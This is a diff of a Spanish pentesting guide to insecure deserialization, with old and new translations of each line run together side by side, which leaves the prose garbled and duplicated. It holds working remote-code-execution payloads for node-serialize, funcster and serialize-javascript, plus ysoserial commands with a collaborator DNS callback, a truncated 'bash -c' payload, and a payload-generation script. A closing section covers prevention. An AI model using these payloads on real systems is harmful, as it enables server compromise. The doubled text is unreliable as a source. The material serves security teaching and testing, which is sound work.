{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -163,13 +164,13 @@ Para obtener más información sobre cómo escapar de las **cárceles de pickle*
### Yaml **&** jsonpickle ### Yaml **&** jsonpickle
La siguiente página presenta la técnica para **abusar de una deserialización insegura en las bibliotecas de python yamls** y finaliza con una herramienta que se puede utilizar para generar carga útil de deserialización RCE para **Pickle, PyYAML, jsonpickle y ruamel.yaml**: La siguiente página presenta la técnica para **abusar de una deserialización insegura en yamls** bibliotecas de python y termina con una herramienta que se puede usar para generar cargas útiles de deserialización RCE para **Pickle, PyYAML, jsonpickle y ruamel.yaml**:
{% content-ref url="python-yaml-deserialization.md" %} {% content-ref url="python-yaml-deserialization.md" %}
[python-yaml-deserialization.md](python-yaml-deserialization.md) [python-yaml-deserialization.md](python-yaml-deserialization.md)
{% endcontent-ref %} {% endcontent-ref %}
### Contaminación de Clases (Python Prototype Pollution) ### Contaminación de Clases (Contaminación de Prototipos de Python)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} {% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) [class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
@ -179,10 +180,10 @@ La siguiente página presenta la técnica para **abusar de una deserialización
### Funciones Mágicas de JS ### Funciones Mágicas de JS
JS **no tiene funciones "mágicas"** como PHP o Python que se van a ejecutar solo para crear un objeto. Pero tiene algunas **funciones** que se **usan con frecuencia incluso sin llamarlas directamente** como **`toString`**, **`valueOf`**, **`toJSON`**.\ JS **no tiene funciones "mágicas"** como PHP o Python que se ejecutan solo por crear un objeto. Pero tiene algunas **funciones** que son **frecuentemente utilizadas incluso sin ser llamadas directamente** como **`toString`**, **`valueOf`**, **`toJSON`**.\
Si abusas de una deserialización, puedes **comprometer estas funciones para ejecutar otro código** (potencialmente abusando de contaminaciones de prototipos) y podrías ejecutar código arbitrario cuando se llamen. Si abusas de una deserialización, puedes **comprometer estas funciones para ejecutar otro código** (potencialmente abusando de contaminaciones de prototipos) podrías ejecutar código arbitrario cuando se llamen.
Otra forma **"mágica" de llamar a una función** sin llamarla directamente es **comprometer un objeto que es devuelto por una función asíncrona** (promesa). Porque, si **transformas** ese **objeto devuelto** en otra **promesa** con una **propiedad** llamada **"then" de tipo función**, se **ejecutará** solo porque es devuelto por otra promesa. _Sigue_ [_**este enlace**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para más información._ Otra **manera "mágica" de llamar a una función** sin llamarla directamente es **comprometiendo un objeto que es devuelto por una función asíncrona** (promesa). Porque, si **transformas** ese **objeto de retorno** en otra **promesa** con una **propiedad** llamada **"then" de tipo función**, se**ejecutado** solo porque es devuelto por otra promesa. _Sigue_ [_**este enlace**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para más información._
```javascript ```javascript
// If you can compromise p (returned object) to be a promise // If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function: // it will be executed just because it's the return object of an async function:
@ -206,9 +207,9 @@ test_ressolve()
test_then() test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
``` ```
### Contaminación de `__proto__` y `prototype` ### `__proto__` y contaminación de `prototype`
Si deseas aprender sobre esta técnica, **echa un vistazo al siguiente tutorial**: Si quieres aprender sobre esta técnica **echa un vistazo al siguiente tutorial**:
{% content-ref url="nodejs-proto-prototype-pollution/" %} {% content-ref url="nodejs-proto-prototype-pollution/" %}
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/) [nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
@ -229,7 +230,7 @@ El **objeto serializado** se verá así:
```bash ```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
``` ```
Puedes ver en el ejemplo que cuando una función es serializada se añade la bandera `_$$ND_FUNC$$_` al objeto serializado. Puedes ver en el ejemplo que cuando una función es serializada, la bandera `_$$ND_FUNC$$_` se añade al objeto serializado.
Dentro del archivo `node-serialize/lib/serialize.js` puedes encontrar la misma bandera y cómo el código la está utilizando. Dentro del archivo `node-serialize/lib/serialize.js` puedes encontrar la misma bandera y cómo el código la está utilizando.
@ -237,17 +238,17 @@ Dentro del archivo `node-serialize/lib/serialize.js` puedes encontrar la misma b
![](<../../.gitbook/assets/image (446).png>) ![](<../../.gitbook/assets/image (446).png>)
Como puedes ver en el último fragmento de código, **si se encuentra la bandera** se utiliza `eval` para deserializar la función, por lo que básicamente **la entrada del usuario se está utilizando dentro de la función `eval`**. Como puedes ver en el último fragmento de código, **si se encuentra la bandera**, se utiliza `eval` para deserializar la función, así que básicamente **la entrada del usuario se está utilizando dentro de la función `eval`**.
Sin embargo, **simplemente serializar** una función **no la ejecutará** ya que sería necesario que alguna parte del código esté **llamando a `y.rce`** en nuestro ejemplo y eso es altamente **improbable**.\ Sin embargo, **simplemente serializar** una función **no la ejecutará**, ya que sería necesario que alguna parte del código **llame a `y.rce`** en nuestro ejemplo y eso es altamente **improbable**.\
De todos modos, podrías simplemente **modificar el objeto serializado** **añadiendo algunos paréntesis** para autoejecutar la función serializada cuando se deserialice el objeto.\ De todos modos, podrías **modificar el objeto serializado** **agregando algunos paréntesis** para que la función serializada se ejecute automáticamente cuando el objeto sea deserializado.\
En el siguiente fragmento de código **nota el último paréntesis** y cómo la función `unserialize` ejecutará automáticamente el código: En el siguiente fragmento de código **nota el último paréntesis** y cómo la función `unserialize` ejecutará automáticamente el código:
```javascript ```javascript
var serialize = require('node-serialize'); var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"}; var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test); serialize.unserialize(test);
``` ```
Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y lo **ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código**, puedes **eliminar la parte de creación de la función** y el último paréntesis y **simplemente ejecutar un JS en una línea** como en el siguiente ejemplo: Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y **lo ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código** puedes **eliminar la parte de creación de la función** y el último paréntesis y **simplemente ejecutar un oneliner de JS** como en el siguiente ejemplo:
```javascript ```javascript
var serialize = require('node-serialize'); var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}'; var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
@ -257,9 +258,9 @@ Puedes [**encontrar aquí**](https://opsecx.com/index.php/2017/02/08/exploiting-
### [funcster](https://www.npmjs.com/package/funcster) ### [funcster](https://www.npmjs.com/package/funcster)
Un aspecto notable de **funcster** es la inaccesibilidad de los **objetos integrados estándar**; quedan fuera del alcance accesible. Esta restricción evita la ejecución de código que intenta invocar métodos en objetos integrados, lo que lleva a excepciones como `"ReferenceError: console is not defined"` cuando se utilizan comandos como `console.log()` o `require(something)`. Un aspecto notable de **funcster** es la inaccesibilidad de **los objetos incorporados estándar**; quedan fuera del alcance accesible. Esta restricción impide la ejecución de código que intente invocar métodos en objetos incorporados, lo que lleva a excepciones como `"ReferenceError: console is not defined"` cuando se utilizan comandos como `console.log()` o `require(something)`.
A pesar de esta limitación, la restauración del acceso completo al contexto global, incluidos todos los objetos integrados estándar, es posible a través de un enfoque específico. Al aprovechar directamente el contexto global, se puede evitar esta restricción. Por ejemplo, el acceso puede restablecerse utilizando el siguiente fragmento: A pesar de esta limitación, es posible restaurar el acceso completo al contexto global, incluidos todos los objetos incorporados estándar, a través de un enfoque específico. Al aprovechar el contexto global directamente, se puede eludir esta restricción. Por ejemplo, el acceso se puede restablecer utilizando el siguiente fragmento:
```javascript ```javascript
funcster = require("funcster"); funcster = require("funcster");
//Serialization //Serialization
@ -274,17 +275,17 @@ funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' } var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3) funcster.deepDeserialize(desertest3)
``` ```
**Para** [**más información lee esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** **Para**[ **más información, lee esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
El paquete **serialize-javascript** está diseñado exclusivamente para fines de serialización, careciendo de capacidades de deserialización integradas. Los usuarios son responsables de implementar su propio método para la deserialización. Un uso directo de `eval` es sugerido por el ejemplo oficial para deserializar datos serializados: El paquete **serialize-javascript** está diseñado exclusivamente para propósitos de serialización, careciendo de cualquier capacidad de deserialización incorporada. Los usuarios son responsables de implementar su propio método para la deserialización. Un uso directo de `eval` es sugerido por el ejemplo oficial para deserializar datos serializados:
```javascript ```javascript
function deserialize(serializedJavascript){ function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')'); return eval('(' + serializedJavascript + ')');
} }
``` ```
Si esta función se utiliza para deserializar objetos, puedes **explotarla fácilmente**: Si esta función se utiliza para deserializar objetos, puedes **explotarlo fácilmente**:
```javascript ```javascript
var serialize = require('serialize-javascript'); var serialize = require('serialize-javascript');
//Serialization //Serialization
@ -295,7 +296,7 @@ console.log(test) //function() { return "Hello world!" }
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test) deserialize(test)
``` ```
**Para** [**más información lee esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** **Para**[ **más información, lea esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Biblioteca Cryo ### Biblioteca Cryo
@ -306,16 +307,16 @@ En las siguientes páginas puedes encontrar información sobre cómo abusar de e
## Java - HTTP ## Java - HTTP
En Java, **las devoluciones de llamada de deserialización se ejecutan durante el proceso de deserialización**. Esta ejecución puede ser explotada por atacantes que crean cargas maliciosas que activan estas devoluciones de llamada, lo que puede llevar a la ejecución potencial de acciones dañinas. En Java, **los callbacks de deserialización se ejecutan durante el proceso de deserialización**. Esta ejecución puede ser explotada por atacantes que crean cargas útiles maliciosas que activan estos callbacks, lo que lleva a la posible ejecución de acciones dañinas.
### Huellas dactilares ### Huellas digitales
#### Caja Blanca #### Caja blanca
Para identificar posibles vulnerabilidades de serialización en el código, busca: Para identificar posibles vulnerabilidades de serialización en la base de código, busca:
* Clases que implementen la interfaz `Serializable`. * Clases que implementen la interfaz `Serializable`.
* Uso de las funciones `java.io.ObjectInputStream`, `readObject`, `readUnshare`. * Uso de `java.io.ObjectInputStream`, funciones `readObject`, `readUnshare`.
Presta especial atención a: Presta especial atención a:
@ -326,59 +327,59 @@ Presta especial atención a:
* `ObjectInputStream.readUnshared`. * `ObjectInputStream.readUnshared`.
* Uso general de `Serializable`. * Uso general de `Serializable`.
#### Caja Negra #### Caja negra
Para pruebas de caja negra, busca firmas específicas o "Bytes Mágicos" que denoten objetos serializados de Java (provenientes de `ObjectInputStream`): Para pruebas de caja negra, busca **firmas específicas o "Bytes Mágicos"** que denoten objetos serializados de Java (originados de `ObjectInputStream`):
* Patrón hexadecimal: `AC ED 00 05`. * Patrón hexadecimal: `AC ED 00 05`.
* Patrón Base64: `rO0`. * Patrón Base64: `rO0`.
* Cabeceras de respuesta HTTP con `Content-type` establecido en `application/x-java-serialized-object`. * Encabezados de respuesta HTTP con `Content-type` establecido en `application/x-java-serialized-object`.
* Patrón hexadecimal que indica compresión previa: `1F 8B 08 00`. * Patrón hexadecimal que indica compresión previa: `1F 8B 08 00`.
* Patrón Base64 que indica compresión previa: `H4sIA`. * Patrón Base64 que indica compresión previa: `H4sIA`.
* Archivos web con la extensión `.faces` y el parámetro `faces.ViewState`. Descubrir estos patrones en una aplicación web debería provocar un examen detallado como se detalla en el [post sobre Deserialización de Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md). * Archivos web con la extensión `.faces` y el parámetro `faces.ViewState`. Descubrir estos patrones en una aplicación web debería provocar un examen como se detalla en el [post sobre la deserialización de Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
``` ```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
``` ```
### Comprobar si es vulnerable ### Verificar si es vulnerable
Si quieres **aprender cómo funciona un exploit de deserialización de Java**, deberías echar un vistazo a [**Deserialización Básica de Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización de DNS de Java**](java-dns-deserialization-and-gadgetprobe.md) y [**Carga útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md). Si quieres **aprender cómo funciona un exploit de deserialización en Java**, deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización DNS en Java**](java-dns-deserialization-and-gadgetprobe.md), y [**Carga Útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
#### Prueba de Caja Blanca #### Prueba de Caja Blanca
Puedes verificar si hay instalada alguna aplicación con vulnerabilidades conocidas. Puedes verificar si hay alguna aplicación instalada con vulnerabilidades conocidas.
```bash ```bash
find . -iname "*commons*collection*" find . -iname "*commons*collection*"
grep -R InvokeTransformer . grep -R InvokeTransformer .
``` ```
Puedes intentar **verificar todas las bibliotecas** conocidas por ser vulnerables y para las cuales [**Ysoserial**](https://github.com/frohoff/ysoserial) puede proporcionar un exploit. O puedes verificar las bibliotecas indicadas en [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ Podrías intentar **verificar todas las bibliotecas** conocidas por ser vulnerables y que [**Ysoserial**](https://github.com/frohoff/ysoserial) puede proporcionar un exploit. O podrías revisar las bibliotecas indicadas en [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
También puedes usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para buscar posibles cadenas de gadgets que puedan ser explotadas.\ También podrías usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para buscar posibles cadenas de gadgets que puedan ser explotadas.\
Al ejecutar **gadgetinspector** (después de compilarlo) no te preocupes por las toneladas de advertencias/errores que pueda mostrar y déjalo terminar. Escribirá todos los hallazgos en _gadgetinspector/gadget-results/gadget-chains-año-mes-día-hora-min.txt_. Por favor, ten en cuenta que **gadgetinspector no creará un exploit y puede indicar falsos positivos**. Al ejecutar **gadgetinspector** (después de construirlo), no te preocupes por las toneladas de advertencias/errores que está generando y deja que termine. Escribirá todos los hallazgos en _gadgetinspector/gadget-results/gadget-chains-año-mes-día-hora-min.txt_. Por favor, ten en cuenta que **gadgetinspector no creará un exploit y puede indicar falsos positivos**.
#### Prueba de Caja Negra #### Prueba de Caja Negra
Usando la extensión de Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puedes identificar **qué bibliotecas están disponibles** (e incluso las versiones). Con esta información podría ser **más fácil elegir un payload** para explotar la vulnerabilidad.\ Usando la extensión de Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puedes identificar **qué bibliotecas están disponibles** (e incluso las versiones). Con esta información podría ser **más fácil elegir un payload** para explotar la vulnerabilidad.\
[**Lee esto para aprender más sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ [**Lee esto para aprender más sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe se enfoca en las deserializaciones de **`ObjectInputStream`**. GadgetProbe se centra en las **deserializaciones de `ObjectInputStream`**.
Usando la extensión de Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puedes **identificar bibliotecas vulnerables** explotables con ysoserial y **explotarlas**.\ Usando la extensión de Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puedes **identificar bibliotecas vulnerables** explotables con ysoserial y **explotarlas**.\
[**Lee esto para aprender más sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ [**Lee esto para aprender más sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner se enfoca en las deserializaciones de **`ObjectInputStream`**. Java Deserialization Scanner se centra en las **deserializaciones de `ObjectInputStream`**.
También puedes usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialización** en **Burp**. Este complemento detectará vulnerabilidades no solo relacionadas con **`ObjectInputStream`** sino también vulnerabilidades de deserialización de **Json** y **Yml**. En modo activo, intentará confirmarlas utilizando payloads de sleep o DNS.\ También puedes usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialización** en **Burp**. Este plugin detectará **no solo vulnerabilidades relacionadas con `ObjectInputStream`** sino **también** vulnerabilidades de bibliotecas de deserialización de **Json** y **Yml**. En modo activo, intentará confirmarlas usando payloads de sleep o DNS.\
[**Puedes encontrar más información sobre Freddy aquí.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) [**Puedes encontrar más información sobre Freddy aquí.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Prueba de Serialización** **Prueba de Serialización**
No todo se trata de verificar si el servidor está utilizando alguna biblioteca vulnerable. A veces podrías ser capaz de **cambiar los datos dentro del objeto serializado y evadir algunas comprobaciones** (quizás otorgarte privilegios de administrador dentro de una aplicación web).\ No todo se trata de verificar si alguna biblioteca vulnerable es utilizada por el servidor. A veces podrías ser capaz de **cambiar los datos dentro del objeto serializado y eludir algunas verificaciones** (quizás otorgándote privilegios de administrador dentro de una webapp).\
Si encuentras un objeto serializado de Java que se envía a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir en un formato más legible para humanos el objeto serializado que se envía**. Saber qué datos estás enviando facilitaría modificarlos y evadir algunas comprobaciones. Si encuentras un objeto serializado de Java siendo enviado a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir en un formato más legible para humanos el objeto de serialización que se envía**. Saber qué datos estás enviando facilitaría su modificación y eludir algunas verificaciones.
### **Explotación** ### **Explotar**
#### **ysoserial** #### **ysoserial**
La herramienta principal para explotar deserializaciones de Java es [**ysoserial**](https://github.com/frohoff/ysoserial) ([**descarga aquí**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). También puedes considerar usar [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) que te permitirá usar comandos complejos (con tuberías, por ejemplo).\ La herramienta principal para explotar deserializaciones de Java es [**ysoserial**](https://github.com/frohoff/ysoserial) ([**descargar aquí**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). También puedes considerar usar [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) que te permitirá usar comandos complejos (con pipes, por ejemplo).\
Ten en cuenta que esta herramienta está **centrada** en explotar **`ObjectInputStream`**.\ Ten en cuenta que esta herramienta está **enfocada** en explotar **`ObjectInputStream`**.\
Yo **comenzaría usando el payload "URLDNS"** antes que un payload de RCE para probar si la inyección es posible. De todos modos, ten en cuenta que tal vez el payload "URLDNS" no funcione pero otro payload de RCE sí. Yo **comenzaría usando el payload "URLDNS"** **antes de un payload RCE** para probar si la inyección es posible. De todos modos, ten en cuenta que tal vez el payload "URLDNS" no funcione, pero otro payload RCE sí.
```bash ```bash
# PoC to make the application perform a DNS req # PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -423,9 +424,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64 # Base64 encode payload in base64
base64 -w0 payload base64 -w0 payload
``` ```
Cuando creas un payload para **java.lang.Runtime.exec()** **no puedes usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente el payload, puedes [utilizar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html). Cuando se crea una carga útil para **java.lang.Runtime.exec()** no **se pueden usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente la carga útil, podrías [usar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html).
Siéntete libre de usar el siguiente script para crear **todos los posibles payloads de ejecución de código** para Windows y Linux y luego probarlos en la página web vulnerable: Siéntete libre de usar el siguiente script para crear **todas las posibles cargas útiles de ejecución de código** para Windows y Linux y luego probarlas en la página web vulnerable:
```python ```python
import os import os
import base64 import base64
@ -448,12 +449,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
``` ```
#### serialkillerbypassgadgets #### serialkillerbypassgadgets
Puedes **utilizar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto con ysoserial para crear más exploits**. Más información sobre esta herramienta en las **diapositivas de la charla** donde se presentó la herramienta: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1) Puedes **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto con ysoserial para crear más exploits**. Más información sobre esta herramienta en las **diapositivas de la charla** donde se presentó la herramienta: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
#### marshalsec #### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec) se puede utilizar para generar payloads para explotar diferentes bibliotecas de serialización **Json** y **Yml** en Java.\ [**marshalsec** ](https://github.com/mbechler/marshalsec) se puede usar para generar payloads para explotar diferentes **Json** y **Yml** bibliotecas de serialización en Java.\
Para compilar el proyecto necesité **agregar** estas **dependencias** al archivo `pom.xml`: Para compilar el proyecto, necesitaba **agregar** estas **dependencias** a `pom.xml`:
```markup ```markup
<dependency> <dependency>
<groupId>javax.activation</groupId> <groupId>javax.activation</groupId>
@ -468,35 +469,35 @@ Para compilar el proyecto necesité **agregar** estas **dependencias** al archiv
<type>pom</type> <type>pom</type>
</dependency> </dependency>
``` ```
**Instala maven** y **compila** el proyecto: **Instala maven**, y **compila** el proyecto:
```bash ```bash
sudo apt-get install maven sudo apt-get install maven
mvn clean package -DskipTests mvn clean package -DskipTests
``` ```
#### FastJSON #### FastJSON
Lee más sobre esta biblioteca de JSON de Java: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) Lee más sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
### Laboratorios ### Labs
* Si deseas probar algunos payloads de ysoserial, puedes **ejecutar esta aplicación web**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) * Si quieres probar algunos payloads de ysoserial, puedes **ejecutar esta webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) * [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
### Por qué ### Why
Java utiliza mucha serialización para varios propósitos como: Java utiliza mucha serialización para varios propósitos como:
* **Solicitudes HTTP**: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc. * **Solicitudes HTTP**: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc.
* **RMI (Invocación de Método Remoto)**: El protocolo Java RMI, que depende completamente de la serialización, es fundamental para la comunicación remota en aplicaciones Java. * **RMI (Invocación de Métodos Remotos)**: El protocolo RMI de Java, que se basa completamente en la serialización, es un pilar para la comunicación remota en aplicaciones Java.
* **RMI sobre HTTP**: Este método es comúnmente utilizado por aplicaciones web de cliente grueso basadas en Java, que utilizan la serialización para todas las comunicaciones de objetos. * **RMI sobre HTTP**: Este método es comúnmente utilizado por aplicaciones web de cliente grueso basadas en Java, utilizando la serialización para todas las comunicaciones de objetos.
* **JMX (Extensiones de Gestión de Java)**: JMX utiliza la serialización para transmitir objetos a través de la red. * **JMX (Extensiones de Gestión de Java)**: JMX utiliza la serialización para transmitir objetos a través de la red.
* **Protocolos Personalizados**: En Java, la práctica estándar implica la transmisión de objetos Java sin procesar, lo cual se demostrará en ejemplos de explotación próximos. * **Protocolos Personalizados**: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, lo que se demostrará en ejemplos de explotación próximos.
### Prevención ### Prevention
#### Objetos Transitorios #### Objetos transitorios
Una clase que implementa `Serializable` puede marcar como `transient` cualquier objeto dentro de la clase que no deba ser serializado. Por ejemplo: Una clase que implementa `Serializable` puede implementar como `transient` cualquier objeto dentro de la clase que no debería ser serializable. Por ejemplo:
```java ```java
public class myAccount implements Serializable public class myAccount implements Serializable
{ {
@ -505,7 +506,7 @@ private transient double margin; // declared transient
``` ```
#### Evitar la serialización de una clase que necesita implementar Serializable #### Evitar la serialización de una clase que necesita implementar Serializable
En escenarios donde ciertos **objetos deben implementar la interfaz `Serializable`** debido a la jerarquía de clases, existe un riesgo de deserialización no intencional. Para prevenir esto, asegúrate de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación: En escenarios donde ciertos **objetos deben implementar la interfaz `Serializable`** debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para prevenir esto, asegúrate de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación:
```java ```java
private final void readObject(ObjectInputStream in) throws java.io.IOException { private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); throw new java.io.IOException("Cannot be deserialized");
@ -516,9 +517,9 @@ throw new java.io.IOException("Cannot be deserialized");
**Personalizar `java.io.ObjectInputStream`** es un enfoque práctico para asegurar los procesos de deserialización. Este método es adecuado cuando: **Personalizar `java.io.ObjectInputStream`** es un enfoque práctico para asegurar los procesos de deserialización. Este método es adecuado cuando:
* El código de deserialización está bajo tu control. * El código de deserialización está bajo tu control.
* Se conocen las clases esperadas para la deserialización. * Las clases esperadas para la deserialización son conocidas.
Sobrescribe el método **`resolveClass()`** para limitar la deserialización solo a las clases permitidas. Esto evita la deserialización de cualquier clase excepto aquellas permitidas explícitamente, como en el siguiente ejemplo que restringe la deserialización solo a la clase `Bicycle`: Sobrescribe el **`resolveClass()`** método para limitar la deserialización solo a las clases permitidas. Esto previene la deserialización de cualquier clase excepto aquellas explícitamente permitidas, como en el siguiente ejemplo que restringe la deserialización solo a la clase `Bicycle`:
```java ```java
